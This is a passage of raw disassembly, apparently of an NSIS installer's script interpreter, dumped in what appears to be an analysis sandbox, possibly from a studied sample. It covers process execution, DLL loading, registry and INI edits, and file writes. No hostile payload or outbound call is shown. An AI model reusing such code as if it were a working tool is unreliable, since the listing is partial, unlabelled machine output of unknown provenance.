		neg	al
		sbb	eax, eax
		push	ebx
		and	eax, esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_40715C
		cmp	eax, 21h
		jge	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		jmp	loc_4033A2
; ---------------------------------------------------------------------------

loc_402B4B:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 41
		call	sub_403753
		mov	esi, eax
		push	esi
		push	0FFFFFFEBh
		call	sub_405CAC
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		push	esi
		call	sub_40618A
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_4033A2
		cmp	[ebp+var_1C], ebx
		jz	short loc_402BE4
		push	64h
		push	eax
		call	ds:dword_407124	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_402BBB
		mov	esi, ds:dword_407264
		jmp	short loc_402B98
; ---------------------------------------------------------------------------

loc_402B8E:				; CODE XREF: sub_4020E9+ABEj
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_407240	; DispatchMessageA

loc_402B98:				; CODE XREF: sub_4020E9+AA3j
					; sub_4020E9+AD0j
		push	1
		push	0Fh
		push	0Fh
		lea	eax, [ebp+var_64]
		push	ebx
		push	eax
		call	esi	; PeekMessageA
		test	eax, eax
		jnz	short loc_402B8E
		push	64h
		push	[ebp+arg_0]
		call	ds:dword_407124	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_402B98

loc_402BBB:				; CODE XREF: sub_4020E9+A9Bj
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407128	; GetExitCodeProcess
		cmp	[ebp+var_20], ebx
		jl	short loc_402BD8
		push	[ebp+var_34]
		push	edi
		call	sub_406827
		jmp	short loc_402BE4
; ---------------------------------------------------------------------------

loc_402BD8:				; CODE XREF: sub_4020E9+AE2j
		cmp	[ebp+var_34], ebx
		jz	short loc_402BE4
		mov	[ebp+var_4], 1

loc_402BE4:				; CODE XREF: sub_4020E9+A8Bj
					; sub_4020E9+AEDj ...
		push	[ebp+arg_0]

loc_402BE7:				; CODE XREF: sub_4020E9+10E6j
		call	ds:dword_40706C	; CloseHandle
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402BF2:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	2		; jumptable 00402146 case 42
		call	sub_403753
		push	eax
		call	sub_406BAB
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_402C19
		mov	ebx, eax
		push	dword ptr [ebx+14h]
		push	edi
		call	sub_406827
		push	dword ptr [ebx+18h]
		jmp	loc_402235
; ---------------------------------------------------------------------------

loc_402C19:				; CODE XREF: sub_4020E9+B1Bj
		mov	[esi], bl
		mov	[edi], bl
		jmp	loc_4033A2
; ---------------------------------------------------------------------------

loc_402C22:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		lea	eax, [ebp+var_58] ; jumptable 00402146 case 43
		push	0FFFFFFEEh
		mov	[ebp+arg_0], eax
		call	sub_403753
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_30], eax
		push	ecx
		push	eax
		call	sub_406BF6
		mov	[esi], bl
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		mov	[edi], bl
		mov	[ebp+var_4], 1
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	eax
		call	sub_406244
		cmp	eax, ebx
		mov	[ebp+var_34], eax
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_30]
		call	sub_406BF0
		test	eax, eax
		jz	short loc_402CA8
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset dword_409038
		push	[ebp+var_34]
		call	sub_406BEA
		test	eax, eax
		jz	short loc_402CA8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		push	esi
		call	sub_406827
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	edi
		call	sub_406827
		mov	[ebp+var_4], ebx

loc_402CA8:				; CODE XREF: sub_4020E9+B89j
					; sub_4020E9+BA2j
		push	[ebp+var_34]
		jmp	loc_402898
; ---------------------------------------------------------------------------

loc_402CB0:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		xor	edi, edi	; jumptable 00402146 case 44
		push	8001h
		inc	edi
		mov	[ebp+var_4], edi
		call	ds:dword_40712C	; SetErrorMode
		cmp	dword_42F0D0, ebx
		jl	loc_402D67
		push	0FFFFFFF0h
		call	sub_403753
		push	edi
		mov	esi, eax
		call	sub_403753
		cmp	[ebp+var_14], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_402CF1
		push	esi
		call	ds:dword_407134	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_402CFE

loc_402CF1:				; CODE XREF: sub_4020E9+BF9j
		push	esi
		call	ds:dword_407138	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_402D63

loc_402CFE:				; CODE XREF: sub_4020E9+C06j
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_40713C	; GetProcAddress
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402D4B
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_402D2D
		push	[ebp+var_1C]
		call	sub_4020D8
		call	esi	; PeekMessageA
		test	eax, eax
		jz	short loc_402D55
		mov	[ebp+var_4], 1
		jmp	short loc_402D55
; ---------------------------------------------------------------------------

loc_402D2D:				; CODE XREF: sub_4020E9+C2Bj
		push	offset off_40902C
		push	offset dword_40C5C8
		push	offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		push	400h
		push	[ebp+var_8]
		call	esi	; PeekMessageA
		add	esp, 14h
		jmp	short loc_402D55
; ---------------------------------------------------------------------------

loc_402D4B:				; CODE XREF: sub_4020E9+C23j
		push	[ebp+arg_0]
		push	0FFFFFFF7h
		call	sub_405CAC

loc_402D55:				; CODE XREF: sub_4020E9+C39j
					; sub_4020E9+C42j ...
		cmp	[ebp+var_18], ebx
		jnz	short loc_402D6E
		push	edi
		call	ds:dword_407140	; FreeLibrary
		jmp	short loc_402D6E
; ---------------------------------------------------------------------------

loc_402D63:				; CODE XREF: sub_4020E9+C13j
		push	0FFFFFFF6h
		jmp	short loc_402D69
; ---------------------------------------------------------------------------

loc_402D67:				; CODE XREF: sub_4020E9+BDEj
		push	0FFFFFFE7h

loc_402D69:				; CODE XREF: sub_4020E9+C7Cj
		call	sub_4020D8

loc_402D6E:				; CODE XREF: sub_4020E9+C6Fj
					; sub_4020E9+C78j
		push	ebx
		call	ds:dword_40712C	; SetErrorMode
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402D7A:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFF0h	; jumptable 00402146 case 45
		call	sub_403753
		push	0FFFFFFDFh
		mov	[ebp+var_2C], eax
		call	sub_403753
		push	2
		mov	esi, eax
		call	sub_403753
		push	0FFFFFFCDh
		mov	[ebp+var_30], eax
		call	sub_403753
		push	45h
		mov	[ebp+var_34], eax
		call	sub_403753
		push	esi
		mov	[ebp+var_44], eax
		call	sub_40643C
		test	eax, eax
		jnz	short loc_402DBC
		push	21h
		call	sub_403753

loc_402DBC:				; CODE XREF: sub_4020E9+CCAj
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset dword_407398
		push	1
		push	ebx
		push	offset dword_4073A8
		call	ds:dword_407284
		cmp	eax, ebx
		jl	loc_402EB3
		mov	eax, [ebp+arg_0]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_4073B8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_402EA6
		mov	eax, [ebp+arg_0]
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+50h]
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		mov	ecx, [ebp+var_14]
		mov	esi, 0FFh
		mov	eax, ecx
		sar	eax, 8
		and	eax, esi
		jz	short loc_402E2E
		mov	ecx, [ebp+arg_0]
		push	eax
		push	ecx
		mov	edx, [ecx]
		call	dword ptr [edx+3Ch]
		mov	ecx, [ebp+var_14]

loc_402E2E:				; CODE XREF: sub_4020E9+D36j
		mov	eax, [ebp+arg_0]
		sar	ecx, 10h
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+34h]
		mov	eax, [ebp+var_34]
		cmp	[eax], bl
		jz	short loc_402E54
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		and	edx, esi
		mov	ecx, [eax]
		push	edx
		push	[ebp+var_34]
		push	eax
		call	dword ptr [ecx+44h]

loc_402E54:				; CODE XREF: sub_4020E9+D57j
		mov	eax, [ebp+arg_0]
		push	[ebp+var_30]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	eax, [ebp+arg_0]
		push	[ebp+var_44]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	edi, ebx
		jl	short loc_402E9D
		mov	esi, offset word_40BDC8
		push	400h
		push	esi
		push	0FFFFFFFFh
		push	[ebp+var_2C]
		mov	word_40BDC8, bx
		push	ebx
		push	ebx
		call	ds:dword_407144	; MultiByteToWideChar
		mov	eax, [ebp+var_8]
		push	1
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax

loc_402E9D:				; CODE XREF: sub_4020E9+D85j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]

loc_402EA6:				; CODE XREF: sub_4020E9+D07j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		cmp	edi, ebx
		jge	short loc_402EC6

loc_402EB3:				; CODE XREF: sub_4020E9+CECj
		mov	[ebp+var_4], 1
		push	0FFFFFFF0h

loc_402EBC:				; CODE XREF: sub_4020E9+215j
					; sub_4020E9+28Fj ...
		call	sub_4020D8
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402EC6:				; CODE XREF: sub_4020E9+DC8j
		push	0FFFFFFF4h
		jmp	short loc_402EBC
; ---------------------------------------------------------------------------

loc_402ECA:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 46
		call	sub_403753
		mov	edi, eax
		push	11h
		mov	[ebp+arg_0], edi
		call	sub_403753
		mov	esi, eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_64], eax
		mov	[ebp+var_60], 2
		call	sub_4068CF	; lstrlen
		push	esi
		mov	[eax+edi+1], bl
		call	sub_4068CF	; lstrlen
		mov	edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		push	0FFFFFFF8h
		push	edi
		mov	[eax+esi+1], bl
		call	sub_4068D5
		push	esi
		push	edi
		call	ds:dword_40708C	; lstrcat
		mov	eax, [ebp+arg_0]
		push	edi
		mov	[ebp+var_5C], eax
		mov	ax, word ptr [ebp+var_1C]
		push	ebx
		mov	[ebp+var_58], esi
		mov	[ebp+var_4A], edi
		mov	[ebp+var_54], ax
		call	sub_405CAC
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_407170
		test	eax, eax
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	ebx
		push	0FFFFFFF9h
		call	sub_405CAC
		jmp	loc_4033A2
; ---------------------------------------------------------------------------

loc_402F4E:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	eax, 0BADF00Dh	; jumptable 00402146 case 47
		jz	short loc_402F72

loc_402F55:				; CODE XREF: sub_4020E9+750j
					; sub_4020E9+75Ej
		push	100010h
		push	0FFFFFFE8h
		push	ebx
		call	sub_4068D5
		push	eax

loc_402F63:				; CODE XREF: sub_4020E9+523j
		call	sub_406202

loc_402F68:				; CODE XREF: sub_4020E9+6Bj
					; sub_4020E9+79j ...
		mov	eax, 7FFFFFFFh
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_402F72:				; CODE XREF: sub_4020E9+E6Aj
		inc	dword_42F0B4
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402F7D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		xor	esi, esi	; jumptable 00402146 case 48
		xor	edi, edi
		cmp	eax, ebx
		jz	short loc_402F90
		push	ebx
		call	sub_403753
		mov	edx, [ebp+var_20]
		mov	esi, eax

loc_402F90:				; CODE XREF: sub_4020E9+E9Aj
		cmp	edx, ebx
		jz	short loc_402F9D
		push	11h
		call	sub_403753
		mov	edi, eax

loc_402F9D:				; CODE XREF: sub_4020E9+EA9j
		cmp	[ebp+var_14], ebx
		jz	short loc_402FAB
		push	22h
		call	sub_403753
		mov	ebx, eax

loc_402FAB:				; CODE XREF: sub_4020E9+EB7j
		push	0FFFFFFCDh
		call	sub_403753
		push	eax
		push	ebx
		push	edi
		push	esi
		call	ds:dword_407148	; WritePrivateProfileStringA
		jmp	loc_40227A
; ---------------------------------------------------------------------------

loc_402FC1:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	1		; jumptable 00402146 case 49
		mov	[ebp+arg_0], 7E4E21h
		call	sub_403753
		push	12h
		mov	edi, eax
		call	sub_403753
		push	0FFFFFFDDh
		mov	[ebp+var_2C], eax
		call	sub_403753
		push	eax
		push	3FFh
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		push	[ebp+var_2C]
		push	edi
		call	ds:dword_40714C	; GetPrivateProfileStringA
		mov	eax, [esi]
		cmp	eax, [ebp+arg_0]
		jmp	loc_402429
; ---------------------------------------------------------------------------

loc_403001:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[ebp+var_14], ebx ; jumptable 00402146 case 50
		jnz	short loc_403031
		push	2
		call	sub_40381A
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4033A2
		push	33h
		call	sub_403753
		push	eax
		push	esi
		call	ds:dword_407018	; RegDeleteValueA
		push	esi
		mov	edi, eax
		call	ds:dword_40701C	; RegCloseKey
		jmp	short loc_40304A
; ---------------------------------------------------------------------------

loc_403031:				; CODE XREF: sub_4020E9+F1Bj
		push	22h
		call	sub_403753
		mov	ecx, [ebp+var_14]
		and	ecx, 2
		push	ecx
		push	eax
		push	[ebp+var_20]
		call	sub_403793
		mov	edi, eax

loc_40304A:				; CODE XREF: sub_4020E9+F46j
		cmp	edi, ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		jmp	loc_4033A2
; ---------------------------------------------------------------------------

loc_403057:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	esi, [ebp+var_14] ; jumptable 00402146 case 51
		mov	edi, eax
		mov	eax, [ebp+var_10]
		push	2
		mov	[ebp+var_2C], eax
		call	sub_403753
		push	11h
		mov	[ebp+var_44], eax
		call	sub_403753
		lea	ecx, [ebp+arg_0]
		push	ebx
		push	ecx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	ebx
		push	eax
		push	edi
		mov	[ebp+var_4], 1
		call	ds:dword_40700C	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		cmp	esi, 1
		mov	edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		jnz	short loc_4030AD
		push	23h
		call	sub_403753
		push	edi
		call	sub_4068CF	; lstrlen
		inc	eax

loc_4030AD:				; CODE XREF: sub_4020E9+FB4j
		cmp	esi, 4
		jnz	short loc_4030C0
		push	3
		call	sub_403736
		push	esi
		mov	dword ptr aCDocume1SriU_0, eax ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		pop	eax

loc_4030C0:				; CODE XREF: sub_4020E9+FC7j
		cmp	esi, 3
		jnz	short loc_4030D4
		push	0C00h
		push	edi
		push	ebx
		push	[ebp+var_18]
		call	sub_403B73

loc_4030D4:				; CODE XREF: sub_4020E9+FDAj
		push	eax
		push	edi
		push	[ebp+var_2C]
		push	ebx
		push	[ebp+var_44]
		push	[ebp+arg_0]
		call	ds:dword_407008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_4030ED
		mov	[ebp+var_4], ebx

loc_4030ED:				; CODE XREF: sub_4020E9+FFFj
		push	[ebp+arg_0]
		jmp	loc_4031B5
; ---------------------------------------------------------------------------

loc_4030F5:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	20019h		; jumptable 00402146 case 52
		call	sub_40381A
		push	33h
		mov	edi, eax
		call	sub_403753
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4033A2
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_2C], 400h
		push	ecx
		lea	ecx, [ebp+arg_0]
		push	esi
		push	ecx
		push	ebx
		push	eax
		push	edi
		call	ds:dword_407004	; RegQueryValueExA
		xor	ecx, ecx
		inc	ecx
		test	eax, eax
		jnz	short loc_403160
		cmp	[ebp+arg_0], 4
		jz	short loc_40314A
		cmp	[ebp+arg_0], ecx
		jz	short loc_403143
		cmp	[ebp+arg_0], 2
		jnz	short loc_403160

loc_403143:				; CODE XREF: sub_4020E9+1052j
		cmp	[ebp+var_14], ebx
		jz	short loc_4031B4
		jmp	short loc_403162
; ---------------------------------------------------------------------------

loc_40314A:				; CODE XREF: sub_4020E9+104Dj
		cmp	[ebp+var_14], ebx
		jnz	short loc_403156
		mov	[ebp+var_4], 1

loc_403156:				; CODE XREF: sub_4020E9+1064j
		push	dword ptr [esi]
		push	esi
		call	sub_406827
		jmp	short loc_4031B4
; ---------------------------------------------------------------------------

loc_403160:				; CODE XREF: sub_4020E9+1047j
					; sub_4020E9+1058j
		mov	[esi], bl

loc_403162:				; CODE XREF: sub_4020E9+105Fj
		mov	[ebp+var_4], ecx
		jmp	short loc_4031B4
; ---------------------------------------------------------------------------

loc_403167:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	20019h		; jumptable 00402146 case 53
		call	sub_40381A
		push	3
		mov	edi, eax
		call	sub_403736
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4033A2
		cmp	[ebp+var_14], ebx
		mov	ecx, 3FFh
		mov	[ebp+arg_0], ecx
		jz	short loc_40319D
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_407020	; RegEnumKeyA
		jmp	short loc_4031AE
; ---------------------------------------------------------------------------

loc_40319D:				; CODE XREF: sub_4020E9+10A6j
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_0]
		push	ebx
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_407000	; RegEnumValueA

loc_4031AE:				; CODE XREF: sub_4020E9+10B2j
		mov	[esi+3FFh], bl

loc_4031B4:				; CODE XREF: sub_4020E9+105Dj
					; sub_4020E9+1075j ...
		push	edi

loc_4031B5:				; CODE XREF: sub_4020E9+1007j
		call	ds:dword_40701C	; RegCloseKey
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4031C0:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[esi], bl	; jumptable 00402146 case 54
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	esi
		call	sub_406840
		push	eax
		jmp	loc_402BE7
; ---------------------------------------------------------------------------

loc_4031D4:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFEDh	; jumptable 00402146 case 55
		call	sub_403753
		push	[ebp+var_1C]
		push	[ebp+var_20]
		push	eax
		call	sub_40658F
		cmp	eax, 0FFFFFFFFh
		jz	loc_4033A0

loc_4031F0:				; CODE XREF: sub_4020E9+57Fj
					; sub_4020E9+8D9j ...
		push	eax
		jmp	loc_402235
; ---------------------------------------------------------------------------

loc_4031F6:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[ebp+var_1C], ebx ; jumptable 00402146 case 56
		jz	short loc_40320C
		push	1
		call	sub_403736
		mov	byte ptr aCDocume1SriUse, al ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		xor	eax, eax
		inc	eax
		jmp	short loc_403219
; ---------------------------------------------------------------------------

loc_40320C:				; CODE XREF: sub_4020E9+1110j
		push	11h
		call	sub_403753
		push	eax
		call	sub_4068CF	; lstrlen

loc_403219:				; CODE XREF: sub_4020E9+1121j
		cmp	[esi], bl
		jz	loc_4033A2
		lea	ecx, [ebp+arg_0]
		push	ebx
		push	ecx
		push	eax
		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		push	esi
		call	sub_406840
		push	eax
		call	ds:dword_407150	; WriteFile
		jmp	loc_40227A
; ---------------------------------------------------------------------------

loc_40323E:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	2		; jumptable 00402146 case 57
		mov	[ebp+var_30], ebx
		call	sub_403736
		cmp	eax, 1
		mov	[ebp+var_8], eax
		jl	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		mov	ecx, 3FFh
		cmp	eax, ecx
		jle	short loc_403260
		mov	[ebp+var_8], ecx

loc_403260:				; CODE XREF: sub_4020E9+1172j
		cmp	[esi], bl
		jz	loc_4032F6
		push	esi
		mov	byte ptr [ebp+arg_0+3],	bl
		call	sub_406840
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_34], eax
		jle	short loc_4032F6
		mov	esi, [ebp+var_30]

loc_40327C:				; CODE XREF: sub_4020E9+11D3j
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_9]
		push	1
		push	eax
		push	[ebp+var_34]
		call	ds:dword_407130	; ReadFile
		test	eax, eax
		jz	short loc_4032F9
		cmp	[ebp+var_2C], 1
		jnz	short loc_4032F9
		cmp	[ebp+var_18], ebx
		jnz	short loc_4032C0
		cmp	byte ptr [ebp+arg_0+3],	0Dh
		jz	short loc_4032D0
		cmp	byte ptr [ebp+arg_0+3],	0Ah
		jz	short loc_4032D0
		mov	al, [ebp+var_9]
		mov	[esi+edi], al
		inc	esi
		cmp	al, bl
		mov	byte ptr [ebp+arg_0+3],	al
		jz	short loc_4032F9
		cmp	esi, [ebp+var_8]
		jl	short loc_40327C
		jmp	short loc_4032F9
; ---------------------------------------------------------------------------

loc_4032C0:				; CODE XREF: sub_4020E9+11B4j
		movzx	eax, [ebp+var_9]
		push	eax
		push	edi
		call	sub_406827
		jmp	loc_4035F1
; ---------------------------------------------------------------------------

loc_4032D0:				; CODE XREF: sub_4020E9+11BAj
					; sub_4020E9+11C0j
		mov	al, [ebp+var_9]
		cmp	byte ptr [ebp+arg_0+3],	al
		jz	short loc_4032E6
		cmp	al, 0Dh
		jz	short loc_4032E0
		cmp	al, 0Ah
		jnz	short loc_4032E6

loc_4032E0:				; CODE XREF: sub_4020E9+11F1j
		mov	[esi+edi], al
		inc	esi
		jmp	short loc_4032F9
; ---------------------------------------------------------------------------

loc_4032E6:				; CODE XREF: sub_4020E9+11EDj
					; sub_4020E9+11F5j
		push	1
		push	ebx
		push	0FFFFFFFFh
		push	[ebp+var_34]
		call	ds:dword_407120	; SetFilePointer
		jmp	short loc_4032F9
; ---------------------------------------------------------------------------

loc_4032F6:				; CODE XREF: sub_4020E9+1179j
					; sub_4020E9+118Ej
		mov	esi, [ebp+var_30]

loc_4032F9:				; CODE XREF: sub_4020E9+11A9j
					; sub_4020E9+11AFj ...
		mov	[esi+edi], bl
		cmp	esi, ebx
		jmp	loc_40227C
; ---------------------------------------------------------------------------

loc_403303:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[esi], bl	; jumptable 00402146 case 58
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	[ebp+var_18]
		push	ebx
		push	2
		call	sub_403736
		push	eax
		push	esi
		call	sub_406840
		push	eax
		call	ds:dword_407120	; SetFilePointer
		cmp	[ebp+var_20], ebx
		jl	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	eax
		push	edi
		jmp	loc_403514
; ---------------------------------------------------------------------------

loc_403334:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[esi], bl	; jumptable 00402146 case 59
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	esi
		call	sub_406840
		push	eax
		call	ds:dword_40711C	; FindClose
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40334E:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	[edi], bl	; jumptable 00402146 case 60
		jz	loc_40242F
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		call	sub_406840
		push	eax
		call	ds:dword_407118	; FindNextFileA
		test	eax, eax
		jz	loc_40242F

loc_403372:				; CODE XREF: sub_4020E9+12CCj
		lea	eax, [ebp+var_178]
		push	eax
		push	esi

loc_40337A:				; CODE XREF: sub_4020E9+78Cj
		call	sub_4068C9	; lstrcpy
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_403384:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	2		; jumptable 00402146 case 61
		call	sub_403753
		lea	ecx, [ebp+var_1A4]
		push	ecx
		push	eax
		call	ds:dword_407114	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4033AE
		mov	[edi], bl

loc_4033A0:				; CODE XREF: sub_4020E9+1101j
		mov	[esi], bl

loc_4033A2:				; CODE XREF: sub_4020E9+199j
					; sub_4020E9+297j ...
		mov	[ebp+var_4], 1
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4033AE:				; CODE XREF: sub_4020E9+12B3j
		push	eax
		push	edi
		call	sub_406827
		jmp	short loc_403372
; ---------------------------------------------------------------------------

loc_4033B7:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 62
		mov	[ebp+var_34], 0FFFFFD66h
		call	sub_403753
		mov	esi, eax
		push	esi
		call	sub_40643C
		test	eax, eax
		push	esi
		jz	short loc_4033DE
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		push	esi
		call	sub_4068C9	; lstrcpy
		jmp	short loc_4033FF
; ---------------------------------------------------------------------------

loc_4033DE:				; CODE XREF: sub_4020E9+12E6j
		push	offset byte_435400
		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		call	sub_4068C9	; lstrcpy
		push	eax
		call	sub_4063CF
		push	eax
		call	ds:dword_40708C	; lstrcat
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...

loc_4033FF:				; CODE XREF: sub_4020E9+12F3j
		push	esi
		call	sub_406B09
		push	2
		push	40000000h
		push	esi
		call	sub_40658F
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4034C0
		mov	eax, dword_42F02C
		push	eax
		mov	[ebp+var_30], eax
		call	sub_406244
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4034B7
		push	ebx
		call	sub_403DD1
		push	[ebp+var_30]
		push	edi
		call	sub_403D9F
		push	[ebp+var_1C]
		call	sub_406244
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp+var_2C], esi
		jz	short loc_40348A
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+var_20]
		call	sub_403B73
		jmp	short loc_40347D
; ---------------------------------------------------------------------------

loc_403465:				; CODE XREF: sub_4020E9+1396j
		mov	ecx, [esi]
		mov	eax, [esi+4]
		add	esi, 8
		push	ecx
		add	eax, edi
		push	esi
		push	eax
		mov	[ebp+var_38], ecx
		call	sub_40656F
		add	esi, [ebp+var_38]

loc_40347D:				; CODE XREF: sub_4020E9+137Aj
		cmp	[esi], bl
		jnz	short loc_403465
		push	[ebp+var_2C]
		call	ds:dword_4070BC	; GlobalFree

loc_40348A:				; CODE XREF: sub_4020E9+136Bj
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		push	[ebp+var_30]
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_407150	; WriteFile
		push	edi
		call	ds:dword_4070BC	; GlobalFree
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	sub_403B73
		mov	[ebp+var_34], eax
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...

